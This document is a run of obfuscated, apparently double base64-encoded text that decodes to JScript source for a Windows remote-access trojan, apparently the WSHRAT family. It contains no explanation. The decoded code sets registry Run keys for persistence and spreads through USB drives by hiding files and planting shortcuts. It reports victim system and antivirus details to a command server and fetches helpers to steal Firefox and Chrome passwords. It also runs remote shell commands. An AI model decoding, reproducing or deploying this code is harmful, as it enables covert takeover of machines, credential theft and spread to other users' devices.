JWdJSE5vWld4c2IySnFMbEpsWjBSbGJHVjBaU2dpU0V0RldWOU1UME5CVEY5TlFVTklTVTVGWEZ4emIyWjBkMkZ5WlZ4Y2JXbGpjbTl6YjJaMFhGeDNhVzVrYjNkelhGeGpkWEp5Wlc1MGRtVnljMmx2Ymx4Y2NuVnVYRndpSUNzZ2FXNXpkR0ZzYkc1aGJXVXVjM0JzYVhRb0lpNGlLVnN3WFNrN0NuMWpZWFJqYUNobGFTbDdmUXAwY25sN0NtWnBiR1Z6ZVhOMFpXMXZZbW91WkdWc1pYUmxSbWxzWlNoemRHRnlkSFZ3SUNzZ2FXNXpkR0ZzYkc1aGJXVWdMSFJ5ZFdVcE93cG1hV3hsYzNsemRHVnRiMkpxTG1SbGJHVjBaVVpwYkdVb1YxTmpjbWx3ZEM1elkzSnBjSFJHZFd4c1RtRnRaUz4+JXNkSEoxWlNrN0NuMWpZWFJqYUNobFpXb3BlMzBLWm05eUtIWmhjaUJrY21rZ1BTQnVaWGNnUlc1MWJXVnlZWFJ2Y2lobWFXeGxjM2x6ZEdWdGIySnFMbVJ5YVhabGN5azdJQ0ZrY21rdVlYUkZibVFvS1RzZ1pISnBMbTF2ZG1WT1pYaDBLQ2twZXdwMllYSWdaSEpwZG1VZ1BTQmtjbWt1YVhSbGJTZ3BPd3BwWmk+PiVvWkhKcGRtVXVhWE55WldGa2VTPj4lOVBTQjBjblZsS1hzS2FXWWdLR1J5YVhabExtWnlaV1Z6Y0dGalpTPj4lK0lEPj4lZ0tYc0thV1lnS0dSeWFYWmxMbVJ5YVhabGRIbHdaUz4+JTlQUz4+JXhJQ2w3Q2dsbWIzSW9kbUZ5SUdacElEMGdibVYzSUVWdWRXMWxjbUYwYjNJb1ptbHNaWE41YzNSbGJXOWlhaTVuWlhSbWIyeGtaWElvWkhKcGRtVXVjR0YwYUM+PiVySUNKY1hDSXBMbVpwYkdWektUc2dJV1pwTG1GMFJXNWtLQ2s3SUdacExtMXZkbVZPWlhoMEtDa3Bld29nSUM+PiVnSUM+PiVnSUNCMllYSWdabWxzWlM+PiU5SUdacExtbDBaVzBvS1RzS0NRa2dkSEo1ZXdvZ0lDPj4lZ0lDPj4lZ0lDQnBaaT4+JW9abWxzWlM1dVlXMWxMbWx1WkdWNFQyWW9JaTRpS1NsN0NpPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDQnBaaT4+JW9LR1pwYkdVdWJtRnRaUzV6Y0d4cGRDZ2lMaUlwVzJacGJHVXVibUZ0WlM1emNHeHBkQ2dpTGlJcExteGxibWQwYUM+PiV0SURGZEtTNTBiMHh2ZDJWeVEyRnpaU2dwSUNFOUlDSnNibXNpS1hzS0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDQm1hV3hsTG1GMGRISnBZblYwWlhNZ1BTPj4ld093b2dJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJR2xtSUNobWFXeGxMbTVoYldVdWRHOVZjSEJsY2tOaGMyVW9LUz4+JWhQU0JwYm5OMFlXeHNibUZ0WlM1MGIxVndjR1Z5UTJGelpTZ3BLWHNLSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnWm1sc1pXNWhiV1VnUFNCbWFXeGxMbTVoYldVdWMzQnNhWFFvSWk0aUtUc0tJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdabWxzWlhONWMzUmxiVzlpYWk1a1pXeGxkR1ZHYVd4bEtHUnlhWFpsTG5CaGRHZ2dLeT4+JWlYRndpSUNzZ1ptbHNaVzVoYldWYk1GMGdLeT4+JWlMbXh1YXlJZ0tUc0tJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQ0I5Wld4elpYc0tJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdabWxzWlhONWMzUmxiVzlpYWk1a1pXeGxkR1ZHYVd4bEtHUnlhWFpsTG5CaGRHZ2dLeT4+JWlYRndpSUNzZ1ptbHNaUzV1WVcxbEtUc0tJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQ0I5Q2k+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUNCOVpXeHpaWHNLSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUNCbWFXeGxjM2x6ZEdWdGIySnFMbVJsYkdWMFpVWnBiR1VnS0dacGJHVXVjR0YwYUNrN0NpPj4lZ0lDPj4lZ0lDPj4lZ0lDPj4lZ0lDQjlDaT4+JWdJQz4+JWdJQz4+JWdJSDBLQ1FrZ2ZXTmhkR05vS0dWNEtYdDlDaT4+JWdJQz4+JWdmUW9KSUdadmNpaDJZWElnWm1rZ1BTQnVaWGNnUlc1MWJXVnlZWFJ2Y2lobWFXeGxjM2x6ZEdWdGIySnFMbWRsZEdadmJHUmxjaWhrY21sMlpTNXdZWFJvSUNzZ0lseGNJaWt1YzNWaVJtOXNaR1Z5Y3lrN0lDRm1hUzVoZEVWdVpDZ3BPeUJtYVM1dGIzWmxUbVY0ZENncEtYc0tDUWwyWVhJZ1ptOXNaR1Z5SUQwZ1pta3VhWFJsYlNncE93b2dJQz4+JWdJQz4+JWdJQ0JtYjJ4a1pYSXVZWFIwY21saWRYUmxjeT4+JTlJRD4+JTdDaT4+JWdJQz4+JWdmUXA5Q24wS2ZRcDlDbjFqWVhSamFDaGxjbklwZTMwS1YxTmpjbWx3ZEM1eGRXbDBLQ2s3Q24wS0NtWjFibU4wYVc5dUlIQnZjM1FnS0dOdFpDPj4lc2NHRnlZVzBwZXdwMGNubDdDbWgwZEhCdlltb3ViM0JsYmlnaWNHOXpkQ0lzSW1oMGRIPj4lNkx5OGlJQ3NnYUc5emRDPj4lcklDSTZJaT4+JXJJSEJ2Y25RZ0t5SXZJaT4+JXJJR050WkN3Z1ptRnNjMlVwT3dwb2RIUndiMkpxTG5ObGRGSmxjWFZsYzNSSVpXRmtaWElvSW5WelpYSXRZV2RsYm5RNklpeHBibVp2Y20xaGRHbHZiaWdwS1RzS2FIUjBjRzlpYWk1elpXNWtLSEJoY21GdEtUc0tjbVYwZFhKdUlHaDBkSEJ2WW1vdWNtVnpjRzl1YzJWVVpYaDBPd3A5WTJGMFkyZ29aWEp5S1hzS0NYSmxkSFZ5Ymk+PiVpSWpzS2ZRcDlDZ3BtZFc1amRHbHZiaUJwYm1admNtMWhkR2x2YmlncGV3cDBjbmw3Q21sbUlDaHBibVlnUFQwZ0lpSXBld29nSUM+PiVnYVc1bUlEMGdhSGRwWkNncElDc2djM0JzYVhSbGNqc0tJQz4+JWdJR2x1Wmk+PiU5SUdsdVppPj4lZ0t5QnphR1ZzYkc5aWFpNUZlSEJoYm1SRmJuWnBjbTl1YldWdWRGTjBjbWx1WjNNb0lpVmpiMjF3ZFhSbGNtNWhiV1VsSWlrZ0t5QnpjR3hwZEdWeUlEc0tJQz4+JWdJR2x1Wmk+PiU5SUdsdVppPj4lZ0t5QnphR1ZzYkc5aWFpNUZlSEJoYm1SRmJuWnBjbTl1YldWdWRGTjBjbWx1WjNNb0lpVjFjMlZ5Ym1GdFpTVWlLUz4+JXJJSE53YkdsMFpYSTdDZ29nSUM+PiVnZG1GeUlISnZiM1FnUFNCSFpYUlBZbXBsWTNRb0luZHBibTFuYlhSek9udHBiWEJsY25OdmJtRjBhVzl1YkdWMlpXdzlhVzF3WlhKemIyNWhkR1Y5SVZ4Y1hGd3VYRnh5YjI5MFhGeGphVzEyTWlJcE93b2dJQz4+JWdkbUZ5SUc5eklEMGdjbTl2ZEM1RmVHVmpVWFZsY25rZ0tDSnpaV3hsWTNRZ0tpQm1jbTl0SUhkcGJqTXlYMjl3WlhKaGRHbHVaM041YzNSbGJTSXBPd29nSUM+PiVLQ1dadmNpaDJZWElnWm1rZ1BTQnVaWGNnUlc1MWJXVnlZWFJ2Y2lodmN5azdJQ0ZtYVM1aGRFVnVaQ2dwT3lCbWFTNXRiM1psVG1WNGRDZ3BLWHNLQ1FsMllYSWdiM05wYm1adklEMGdabWt1YVhSbGJTZ3BPd29nSUM+PiVnSUM+PiVnYVc1bUlEMGdhVzVtSUNzZ2IzTnBibVp2TG1OaGNIUnBiMjRnS3lCemNHeHBkR1Z5T3k+PiVnQ2k+PiVnSUM+PiVnSUNCaWNtVmhhenNLSUM+PiVnSUgwS0lDPj4lZ0lHbHVaaT4+JTlJR2x1Wmk+PiVySUNKd2JIVnpJaT4+JXJJSE53YkdsMFpYSTdDaT4+JWdJQ0JwYm1ZZ1BTQnBibVlnS3lCelpXTjFjbWwwZVNncElDc2djM0JzYVhSbGNqc0tJQz4+JWdJR2x1Wmk+PiU5SUdsdVppPj4lcklIVnpZbk53Y21WaFpHbHVaenNLSUM+PiVnSUdsdVppPj4lOUlDSlhVMGhTUVZRaUlDc2djM0JzYVhSbGNpPj4lcklHbHVaaT4+JXJJSE53YkdsMFpYSWdLeT4+JWlTbUYyWVZOamNtbHdkQzEyTVM0MklpPj4lN0NpPj4lZ0lDQnlaWFIxY200Z2FXNW1Pd3A5Wld4elpYc0tJQz4+JWdJSEpsZEhWeWJpQnBibVk3Q24wS2ZXTmhkR05vS0dWeWNpbDdDZ2x5WlhSMWNtNGdJaUk3Q24wS2ZRb0tDbVoxYm1OMGFXOXVJSFZ3YzNSaGNuUWdLQ2w3Q25SeWVYc0tkSEo1ZXdvZ0lDPj4lZ2MyaGxiR3h2WW1vdVVtVm5WM0pwZEdVb0lraExSVmxmUTFWU1VrVk9WRjlWVTBWU1hGeHpiMlowZDJGeVpWeGNiV2xqY205emIyWjBYRngzYVc1a2IzZHpYRnhqZFhKeVpXNTBkbVZ5YzJsdmJseGNjblZ1WEZ3aUlDc2dhVzV6ZEdGc2JHNWhiV1V1YzNCc2FYUW9JaTRpS1Zzd1hTd2dJQ0ozYzJOeWFYQjBMbVY0WlM+PiV2TDBJZ1hDSWlJQ3NnYVc1emRHRnNiR1JwY2k+PiVySUdsdWMzUmhiR3h1WVcxbElDc2dJbHdpSWk+PiVzSUNKU1JVZGZVMW9pS1RzS0lDPj4lZ0lITm9aV3hzYjJKcUxsSmxaMWR5YVhSbEtDSklTMFZaWDB4UFEwRk1YMDFCUTBoSlRrVmNYSE52Wm5SM1lYSmxYRnh0YVdOeWIzTnZablJjWEhkcGJtUnZkM05jWEdOMWNuSmxiblIyWlhKemFXOXVYRnh5ZFc1Y1hDSWdLeUJwYm5OMFlXeHNibUZ0WlM1emNHeHBkQ2dpTGlJcFd6QmRMQz4+JWdJbmR6WTNKcGNIUXVaWGhsSUM4dlFpQmNJaUlnS3lCcGJuTjBZV3hzWkdseUlDc2dhVzV6ZEdGc2JHNWhiV1VnS3k+PiVpWENJaUlDd2dJbEpGUjE5VFdpSXBPd3A5WTJGMFkyZ29aV2twZTMwS1ptbHNaWE41YzNSbGJXOWlhaTVqYjNCNVJtbHNaU2hYVTJOeWFYQjBMbk5qY21sd2RFWjFiR3hPWVcxbExDQnBibk4wWVd4c1pHbHlJQ3NnYVc1emRHRnNiRzVoYldVc0lIUnlkV1VwT3dwbWFXeGxjM2x6ZEdWdGIySnFMbU52Y0hsR2FXeGxLRmRUWTNKcGNIUXVjMk55YVhCMFJuVnNiRTVoYldVc0lITjBZWEowZFg+PiVnS3lCcGJuTjBZV3hzYm1GdFpTd2dkSEoxWlNrN0NuMWpZWFJqYUNobGNuSXBlMzBLZlFvS0NtWjFibU4wYVc5dUlHaDNhV1FvS1hzS2RISjVld3AyWVhJZ2NtOXZkQz4+JTlJRWRsZEU5aWFtVmpkQ2dpZDJsdWJXZHRkSE02ZTJsdGNHVnljMjl1WVhScGIyNU1aWFpsYkQxcGJYQmxjbk52Ym1GMFpYMGhYRnhjWEM1Y1hISnZiM1JjWEdOcGJYWXlJaWs3Q25aaGNpQmthWE5yY3k+PiU5SUhKdmIzUXVSWGhsWTFGMVpYSjVJQ2dpYzJWc1pXTjBJQ29nWm5KdmJTQjNhVzR6TWw5c2IyZHBZMkZzWkdsemF5SXBPd3BtYjNJb2RtRnlJR1pwSUQwZ2JtVjNJRVZ1ZFcxbGNtRjBiM0lvWkdsemEzTXBPeT4+JWhabWt1WVhSRmJtUW9LVHNnWm1rdWJXOTJaVTVsZUhRb0tTbDdDblpoY2lCa2FYTnJJRDBnWm1rdWFYUmxiU2dwT3dvZ0lDPj4lZ2FXWWdLR1JwYzJzdWRtOXNkVzFsVTJWeWFXRnNUblZ0WW1WeUlDRTlJQ0lpS1hzS0lDPj4lZ0lDPj4lZ0lDQnlaWFIxY200Z1pHbHpheTUyYjJ4MWJXVlRaWEpwWVd4T2RXMWlaWEk3Q2k+PiVnSUM+PiVnSUM+PiVnWW5KbFlXczdDaT4+JWdJQ0I5Q24wS2ZXTmhkR05vS0dWeWNpbDdDZ2x5WlhSMWNtNGdJaUk3Q24wS2ZRb0tDbVoxYm1OMGFXOXVJSE5sWTNWeWFYUjVLQ2w3Q25SeWVYc0tkbUZ5SUc5aWFuZHRhWE5sY25acFkyVWdQU0JIWlhSUFltcGxZM1FvSW5kcGJtMW5iWFJ6T250cGJYQmxjbk52Ym1GMGFXOXViR1YyWld3OWFXMXdaWEp6YjI1aGRHVjlJVnhjWEZ3dVhGeHliMjkwWEZ4amFXMTJNaUlwT3dwMllYSWdZMjlzYVhSbGJYTWdQU0J2WW1wM2JXbHpaWEoyYVdObExrVjRaV05SZFdWeWVTZ2ljMlZzWldOMElDb2dabkp2YlNCM2FXNHpNbDl2Y0dWeVlYUnBibWR6ZVhOMFpXMGlMRzUxYkd3c05EZ3BPd29LZG1GeUlIWmxjbk5wYjI1emRISXNJRzl6ZG1WeWMybHZianNLWm05eUtIWmhjaUJtYVM+PiU5SUc1bGR5QkZiblZ0WlhKaGRHOXlLR052YkdsMFpXMXpLVHNnSVdacExtRjBSVzVrS0NrN0lHWnBMbTF2ZG1WT1pYaDBLQ2twZXdvZ0lDPj4lZ2RtRnlJRzlpYW1sMFpXMGdQU0JtYVM1cGRHVnRLQ2s3Q2k+PiVnSUNCMlpYSnphVzl1YzNSeUlEMGdiMkpxYVhSbGJTNTJaWEp6YVc5dUxuUnZVM1J5YVc1bktDa3VjM0JzYVhRb0lpNGlLVHNLZlFvS0x5OTJaWEp6YVc5dWMzUnlJRDBnWTI5c2FYUmxiWE11ZG1WeWMybHZiaTV6Y0d4cGRDZ2lMaUlwT3dwdmMzWmxjbk5wYjI0Z1BTQjJaWEp6YVc5dWMzUnlXekJkSUNzZ0lpNGlPd3BtYjNJZ0tIWmhjaUI0SUQwZ01Uc2dlQz4+JThJSFpsY25OcGIyNXpkSEl1YkdWdVozUm9PeUI0S3lzcGV3b0pJRzl6ZG1WeWMybHZiaT4+JTlJRzl6ZG1WeWMybHZiaT4+JXJJSFpsY25OcGIyNXpkSEpiTUYwN0NuMEtDbTl6ZG1WeWMybHZiaT4+JTlJR1YyWVd3b2IzTjJaWEp6YVc5dUtUc0tkbUZ5SUhOak93cHBaaT4+JW9iM04yWlhKemFXOXVJRDRnTmlsN0lITmpJRDBnSW5ObFkzVnlhWFI1WTJWdWRHVnlNaUk3SUgxbGJITmxleUJ6WXk+PiU5SUNKelpXTjFjbWwwZVdObGJuUmxjaUk3ZlFvS2RtRnlJRzlpYW5ObFkzVnlhWFI1WTJWdWRHVnlJRDBnUjJWMFQySnFaV04wS0NKM2FXNXRaMjEwY3pwY1hGeGNiRzlqWVd4b2IzTjBYRnh5YjI5MFhGd2lJQ3NnYzJNcE93cDJZWElnWTI5c1lXNTBhWFpwY25WeklEMGdiMkpxYzJWamRYSnBkSGxqWlc1MFpYSXVSWGhsWTFGMVpYSjVLQ0p6Wld4bFkzUWdLaUJtY205dElHRnVkR2wyYVhKMWMzQnliMlIxWTNRaUxDPj4laWQzRnNJaXdnTUNrN0NuWmhjaUJ6WldOMUlEMGdJaUk3Q21admNpaDJZWElnWm1rZ1BTQnVaWGNnUlc1MWJXVnlZWFJ2Y2loamIyeGhiblJwZG1seWRYTXBPeT4+JWhabWt1WVhSRmJtUW9LVHNnWm1rdWJXOTJaVTVsZUhRb0tTbDdDZ2wyWVhJZ2IySnFZVzUwYVhacGNuVnpJRDBnWm1rdWFYUmxiU2dwT3dvZ0lDPj4lZ2MyVmpkUz4+JTlJSE5sWTNVZ0lDc2diMkpxWVc1MGFYWnBjblZ6TG1ScGMzQnNZWGxPWVcxbElDc2dJaT4+JXVJanNLZlFwcFppaHpaV04xSUQwOUlDSWlLWHR6WldOMUlEMGdJbTVoYmkxaGRpSTdmUXB5WlhSMWNtNGdjMlZqZFRzS2ZXTmhkR05vS0dWeWNpbDdmUXA5Q21aMWJtTjBhVzl1SUdkbGRFUmhkR1VvS1hzS0lDPj4lZ0lIWmhjaUJ6SUQwZ0lpSTdDaT4+JWdJQ0IyWVhJZ1pDPj4lOUlHNWxkeUJFWVhSbEtDazdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JWdJQz4+JUtJQz4+JWdJSE1nS3owZ1pDNW5aWFJFWVhSbEtDa2dLeT4+JWlMeUk3SUM+PiVnSUM+PiVnSUM+PiVnST4+JW9nSUM+PiVnY3k+PiVyUFM+PiVvWkM1blpYUk5iMjUwYUNncElDc2dNU2tnS3k+PiVpTHlJN0k+PiVvZ0lDPj4lZ2N5Pj4lclBTQmtMbWRsZEZsbFlYSW9LVHNLSUM+PiVnSUhKbGRIVnliaUJ6T3k+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVnSUM+PiVLZlFwbWRXNWpkR2x2YmlCcGJuTjBZVzVqWlNncGV3cDBjbmw3Q25SeWVYc0tkWE5pYzNCeVpXRmthVzVuSUQwZ2MyaGxiR3h2WW1vdVVtVm5VbVZoWkNnaVNFdEZXVjlNVDBOQlRGOU5RVU5JU1U1RlhGeHpiMlowZDJGeVpWeGNJaT4+JXJJR2x1YzNSaGJHeHVZVzFsTG5Od2JHbDBLQ0l1SWlsYk1GMGdLeT4+JWlYRndpS1RzS2ZXTmhkR05vS0dWbFpTbDdmUXBwWmloMWMySnpjSEpsWVdScGJtY2dQVDBnSWlJcGV3b2dJQ0JwWmk+PiVvVjFOamNtbHdkQzV6WTNKcGNIUkdkV3hzVG1GdFpTNXpkV0p6ZEhJb01Ta3VkRzlNYjNkbGNrTmhjMlVvS1M+PiU5UFM+PiVpT2x4Y0lpPj4lcklDQnBibk4wWVd4c2JtRnRaUzUwYjB4dmQyVnlRMkZ6WlNncEtYc0tJQz4+JWdJQz4+JWdkWE5pYzNCeVpXRmthVzVuSUQwZ0luUnlkV1VnTFM+PiVpSUNzZ1oyVjBSR0YwWlNncE93b2dJQz4+JWdJQ0IwY25sN2MyaGxiR3h2WW1vdVVtVm5WM0pwZEdVb0lraExSVmxmVEU5RFFVeGZUVUZEU0VsT1JWeGNjMjltZEhkaGNtVmNYQ0lnS3lCcGJuTjBZV3hzYm1GdFpTNXpjR3hwZENnaUxpSXBXekJkSUNzZ0lseGNJaXdnSUhWelluTndjbVZoWkdsdVp5d2dJbEpGUjE5VFdpSXBPMzFqWVhSamFDaGxaV1ZsWlNsN2ZRb2dJQz4+JWdmV1ZzYzJWN0NpPj4lZ0lDPj4lZ0lIVnpZbk53Y21WaFpHbHVaeT4+JTlJQ0ptWVd4elpTPj4ldElDSWdLeUJuWlhSRVlYUmxLQ2s3Q2k+PiVnSUM+PiVnSUhSeWVYdHphR1ZzYkc5aWFpNVNaV2RYY21sMFpTZ2lTRXRGV1Y5TVQwTkJURjlOUVVOSVNVNUZYRnh6YjJaMGQyRnlaVnhjSWk+PiVySUdsdWMzUmhiR3h1WVcxbExuTndiR2wwS0NJdUlpbGJNRjBnSUNzZ0lseGNJaXdnSUhWelluTndjbVZoWkdsdVp5d2dJbEpGUjE5VFdpSXBPMzFqWVhSamFDaGxaV1ZsWlNsN2ZRb2dJQz4+JWdmUXA5Q2dwMWNITjBZWEowS0NrN0NncDJZWElnYzJOeWFYQjBablZzYkc1aGJXVnphRzl5ZEM+PiU5SUNCbWFXeGxjM2x6ZEdWdGIySnFMbWRsZEVacGJHVW9WMU5qY21sd2RDNXpZM0pwY0hSR2RXeHNUbUZ0WlNrN0NuWmhjaUJwYm5OMFlXeHNablZzYkc1aGJXVnphRzl5ZEM+PiU5SUNCbWFXeGxjM2x6ZEdWdGIySnFMbWRsZEVacGJHVW9hVzV6ZEdGc2JHUnBjaT4+JXJJR2x1YzNSaGJHeHVZVzFsS1RzS2FXWWdLSE5qY21sd2RHWjFiR3h1WVcxbGMyaHZjblF1YzJodmNuUlFZWFJvTG5SdlRHOTNaWEpEWVhObEtDa2dJVDBnYVc1emRHRnNiR1oxYkd4dVlXMWxjMmh2Y25RdWMyaHZjblJRWVhSb0xuUnZURzkzWlhKRFlYTmxLQ2twZXk+PiVLSUM+PiVnSUhOb1pXeHNiMkpxTG5KMWJpZ2lkM05qY21sd2RDNWxlR1VnTHk5Q0lGd2lJaT4+JXJJR2x1YzNSaGJHeGthWElnS3lCcGJuTjBZV3hzYm1GdFpTPj4lcklDSmNJaUlwT3dvZ0lDPj4lZ1YxTmpjbWx3ZEM1eGRXbDBLQ2s3ST4+JXA5Q205dVpXOXVZMlVnUFNCbWFXeGxjM2x6ZEdWdGIySnFMbTl3Wlc1VVpYaDBSbWxzWlNocGJuTjBZV3hzWkdseUlDc2dhVzV6ZEdGc2JHNWhiV1VnTERnc0lHWmhiSE5sS1RzS0NuMWpZWFJqYUNobGNuSXBld29nSUM+PiVnVjFOamNtbHdkQzV4ZFdsMEtDazdDbjBLZlFvS1puVnVZM1JwYjI0Z1pHVmpiMlJsWDJKaGMyVTJOQ2hpWVhObE5qUmZjM1J5YVc1bktYc0tDWFpoY2lCNWFHMWZjR1Z3WlM+PiU5SUZkVFkzSnBjSFF1UTNKbFlYUmxUMkpxWldOMEtDSkJSRTlFUWk1VGRISmxZVzBpS1RzS0NYWmhjaUJ6Y0dsclpTPj4lOUlDaFhVMk55YVhCMExrTnlaV0YwWlU5aWFtVmpkQ2dpVFdsamNtOXpiMlowTGxoTlRFUlBUU0lwS1M1amNtVmhkR1ZGYkdWdFpXNTBLQ0owYlg+PiVpS1RzS0NYTndhV3RsTG1SaGRHRlVlWEJsSUQwZ0ltSnBiaTVpWVhObE5qUWlPd29KYzNCcGEyVXVkR1Y0ZEM+PiU5SUdKaGMyVTJORjl6ZEhKcGJtYzdDZ2w1YUcxZmNHVndaUzVVZVhCbElEMGdNVHNLQ1hsb2JWOXdaWEJsTGs5d1pXNG9LVHNLQ1hsb2JWOXdaWEJsTGxkeWFYUmxLSE53YVd0bExtNXZaR1ZVZVhCbFpGWmhiSFZsS1RzS0NYbG9iVjl3WlhCbExsQnZjMmwwYVc5dUlEMGdNRHNLQ1hsb2JWOXdaWEJsTGxSNWNHVWdQUz4+JXlPd29KZVdodFgzQmxjR1V1UTJoaGNsTmxkQz4+JTlJQ0oxY3kxaGMyTnBhU0k3Q2dseVpYUjFjbTRnZVdodFgzQmxjR1V1VW1WaFpGUmxlSFFvS1RzS2ZRb0tablZ1WTNScGIyNGdaR1ZqYjJSbFgzQmhjM01vY21WMFkyMWtLWHNLQ1hSeWVYc0tDUWwyWVhJZ1kyOXVkR1Z1ZEN3Z2JuTnpMQ0JqYjIxdFlXNWtPd29KQ1dsbUtISmxkR050WkM+PiU5UFM+PiVpYlc5NmFXeHNZU0lwZXdvSkNRbGpiMjF0WVc1a0lEMGdJbWRwZG1VdGJXVXRabVp3ZGlJN0Nna0pmV1ZzYzJVZ2FXWW9jbVYwWTIxa0lEMDlJQ0pqYUhKdmJXVWlLWHNLQ1FrSlkyOXRiV0Z1WkM+PiU5SUNKbmFYWmxMVzFsTFdOb2NIWWlPd29KQ1gwS0NRbDJZWElnYjJKcWFIUjBjR1J2ZDI1c2IyRmtJRDBnVjFOamNtbHdkQzVEY21WaGRHVlBZbXBsWTNRb0ltMXplRzFzTWk1NGJXeG9kSFJ3SWlrN0Nna0piMkpxYUhSMGNHUnZkMjVzYjJGa0xtOXdaVzRvSW5CdmMzUWlMQz4+JWlhSFIwY0Rvdkx5SWdLeUJvYjNOMElDc2dJam9pSUNzZ2NHOXlkQz4+JXJJaThpSUNzZ1kyOXRiV0Z1WkN3Z1ptRnNjMlVwT3dvSkNXOWlhbWgwZEhCa2IzZHViRzloWkM1elpYUlNaWEYxWlhOMFNHVmhaR1Z5S0NKMWMyVnlMV0ZuWlc1ME9pSXNJR2x1Wm05eWJXRjBhVzl1S0NrcE93b0pDVzlpYW1oMGRIQmtiM2R1Ykc5aFpDNXpaVzVrS0NJaUtUc0tDZ2tKYVdZb1ptbHNaWE41YzNSbGJXOWlhaTVtYVd4bFJYaHBjM1J6S0dsdWMzUmhiR3hrYVhJZ0t5Pj4laWNuVnVaR3hzSWlrcGV3b0pDUWxtYVd4bGMzbHpkR1Z0YjJKcUxtUmxiR1YwWlVacGJHVW9hVzV6ZEdGc2JHUnBjaT4+JXJJQ0p5ZFc1a2JHd2lLVHNLQ1FsOUNna0pDZ2tKYVdZZ0tHOWlhbWgwZEhCa2IzZHViRzloWkM1emRHRjBkWE1nUFQwZ01qPj4ld0tYc0tDUWtnSUhSeWVYc0tDUWtnSUNCMllYSWdJRzlpYW5OMGNtVmhiV1J2ZDI1c2IyRmtJRDBnVjFOamNtbHdkQzVEY21WaGRHVlBZbXBsWTNRb0ltRmtiMlJpTG5OMGNtVmhiU0lwT3dvSkNTPj4lZ0lHOWlhbk4wY21WaGJXUnZkMjVzYjJGa0xsUjVjR1VnUFM+PiV4T3k+PiVLQ1FrZ0lDQnZZbXB6ZEhKbFlXMWtiM2R1Ykc5aFpDNVBjR1Z1S0NrN0Nna0pJQz4+JWdiMkpxYzNSeVpXRnRaRzkzYm14dllXUXVWM0pwZEdVb2IySnFhSFIwY0dSdmQyNXNiMkZrTG5KbGMzQnZibk5sUW05a2VTazdDZ2tKSUM+PiVnYjJKcWMzUnlaV0Z0Wkc5M2JteHZZV1F1VUc5emFYUnBiMjRnUFM+PiV3T3dvSkNTPj4lZ0lHOWlhbk4wY21WaGJXUnZkMjVzYjJGa0xsUjVjR1VnUFM+PiV5T3dvSkNTPj4lZ0lHOWlhbk4wY21WaGJXUnZkMjVzYjJGa0xrTm9ZWEpUWlhRZ1BTPj4laWRYTXRZWE5qYVdraU93b0pDUz4+JWdJR052Ym5SbGJuUWdQU0J2WW1wemRISmxZVzFrYjNkdWJHOWhaQzVTWldGa1ZHVjRkQ2dwT3dvSkNTPj4lZ0lHNXpjeT4+JTlJSE5rYTNCaGRHZ2dLeT4+JWlYRnh1YzNNaU93b0pDUz4+JWdJR052Ym5SbGJuUWdQU0JqYjI1MFpXNTBMbkpsY0d4aFkyVW9ibVYzSUZKbFowVjRjQ2dpSlc1emN5VWlMQz4+JWlaeUlwTENCdWMzTXBPeT4+JXZMMlp2Y2lCbWFYSmxabTk0Q2drSklDPj4lZ1kyOXVkR1Z1ZEM+PiU5SUdOdmJuUmxiblF1Y21Wd2JHRmpaU2h1WlhjZ1VtVm5SWGh3S0NJbGNHRjBhQ1VpTEM+PiVpWnlJcExDQnBibk4wWVd4c1pHbHlJQ3NnSWt4dloybHVJRVJoZEdFaUtUc2dMeTltYjNJZ1kyaHliMjFsQ2drSklDPj4lZ2RtRnlJSE4zSUQwZ1ptbHNaWE41YzNSbGJXOWlhaTV2Y0dWdVZHVjRkRVpwYkdVb2FXNXpkR0ZzYkdScGNpPj4lcklDSnlkVzVrYkd3aUxDPj4leUxDQjBjblZsS1RzS0NRa2dJQ0J6ZHk1M2NtbDBaU2hqYjI1MFpXNTBLVHNLQ1FrZ0lDQnpkeTVqYkc5elpTZ3BPd29KQ1M+PiVnSUhOM0lEMGdiblZzYkRzS0NRa2dJQ0J2WW1wemRISmxZVzFrYjNkdWJHOWhaQzVqYkc5elpTZ3BPd29KQ1M+PiVnSUc5aWFuTjBjbVZoYldSdmQyNXNiMkZrSUQwZ2JuVnNiRHNLQ1FrZ0lIMWpZWFJqYUNobGVpbDdmUW9KQ1gwS0NRa0tDUWx6YUdWc2JHOWlhaTV5ZFc0b0lpVmpiMjF6Y0dWakpTPj4ldll5QmpaQ0JjSWlJZ0t5QnpaR3R3WVhSb0lDc2dJbHdpSUNZbUlDSWdLeUJuYzM+PiVvYzJSclptbHNaU2tnS3k+PiVpSUNJZ0t5Qm5jMz4+JW9hVzV6ZEdGc2JHUnBjaT4+JXJJQ0p5ZFc1a2JHd2lLUz4+JXJJQ0lnUGlCY0lpSWdLeUJwYm5OMFlXeHNaR2x5SUNzZ0luZHphRzkxZEZ3aUlpd2dNQ3dnZEhKMVpTazdDZ2tKVjFOamNtbHdkQzV6YkdWbGNDZ3lNRD4+JXdLVHNLQ1FsMllYSWdjM0lnUFNCbWFXeGxjM2x6ZEdWdGIySnFMbTl3Wlc1VVpYaDBSbWxzWlNocGJuTjBZV3hzWkdseUlDc2dJbmR6YUc5MWRDSXBPd29KQ1dOdmJuUmxiblFnUFNCemNpNXlaV0ZrWVd4c0tDazdDZ2tKYzNJdVkyeHZjMlVvS1RzS0NRbHpjaT4+JTlJRzUxYkd3N0Nna0pDZ2tKWm1sc1pYTjVjM1JsYlc5aWFpNWtaV3hsZEdWR2FXeGxLR2x1YzNSaGJHeGthWElnS3k+PiVpY25WdVpHeHNJaWs3Q2drSlptbHNaWE41YzNSbGJXOWlhaTVrWld4bGRHVkdhV3hsS0dsdWMzUmhiR3hrYVhJZ0t5Pj4laWQzTm9iM1YwSWlrN0Nna0pDZ2tKY0c5emR